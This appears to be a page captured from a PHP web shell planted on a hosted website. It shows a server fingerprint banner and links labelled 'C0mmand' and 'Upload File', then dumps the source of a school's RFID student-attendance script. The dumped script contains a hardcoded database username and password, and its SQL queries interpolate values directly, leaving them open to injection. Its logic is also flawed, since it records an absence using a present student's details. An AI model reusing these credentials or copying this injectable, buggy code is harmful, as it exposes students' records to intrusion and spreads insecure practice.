|
Server IP : 2a02:4780:3:1493:0:3736:a38e:7 / Your IP : 216.73.216.139 Web Server : LiteSpeed System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64 User : u926327694 ( 926327694) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u926327694/domains/smsoft.in/public_html/demo/src/../staticimg/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
$con=mysqli_connect("localhost","raghu80504822","8050482213","Adarash_Gokak_Std");
// Check connection
if (mysqli_connect_errno())
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
$date = new DateTime('now', new DateTimeZone('Asia/Kolkata'));
$date1=$date->format('d-m-Y');
//first rows
$res1=mysqli_query($con,"SELECT DISTINCT `RFId`,`TimeOfTransaction` FROM attendreports where `DateOfTransaction`='$date1' GROUP BY RFId ");
while($res3=mysqli_fetch_array($res1))
{
$res5=mysqli_query($con,"SELECT * FROM `student_registration` WHERE `RFID`='$res3[RFId]' ");
$res6=mysqli_fetch_array($res5);
mysqli_query($con,"INSERT INTO `attendence_m_report` (`RFID`, `Name`, `Class`, `Division`, `Roll_number`, `Status`, `In_Time`, `Date`) VALUES ( '$res3[RFId]', '$res6[Name]', '$res6[Class]', '$res6[Division]', '$res6[Roll_number]','PRESENT', '$res3[TimeOfTransaction]', '$date1')");
$res9=mysqli_query($con,"SELECT * FROM `student_registration` WHERE `RFID`!='$res3[RFId]' ");
$res10=mysqli_fetch_array($res9);
mysqli_query($con,"INSERT INTO `attendence_m_report` (`RFID`, `Name`, `Class`, `Division`, `Roll_number`, `Status`, `In_Time`, `Out_Time`,`Date`) VALUES ( '$res3[RFId]', '$res6[Name]', '$res6[Class]', '$res6[Division]', '$res6[Roll_number]','ABSENT', null, 'null','$date1')");
}
$res2=mysqli_query($con,"SELECT * FROM attendreports WHERE AttendanceId IN (SELECT MAX(AttendanceId) FROM attendreports where`DateOfTransaction`='$date1' GROUP BY RFId)");
//last Rows
while($res4=mysqli_fetch_array($res2))
{
mysqli_query($con,"UPDATE `attendence_m_report` SET `Out_Time` = '$res4[TimeOfTransaction]' WHERE `attendence_m_report`.`RFID` = '$res4[RFId]'");
}
?>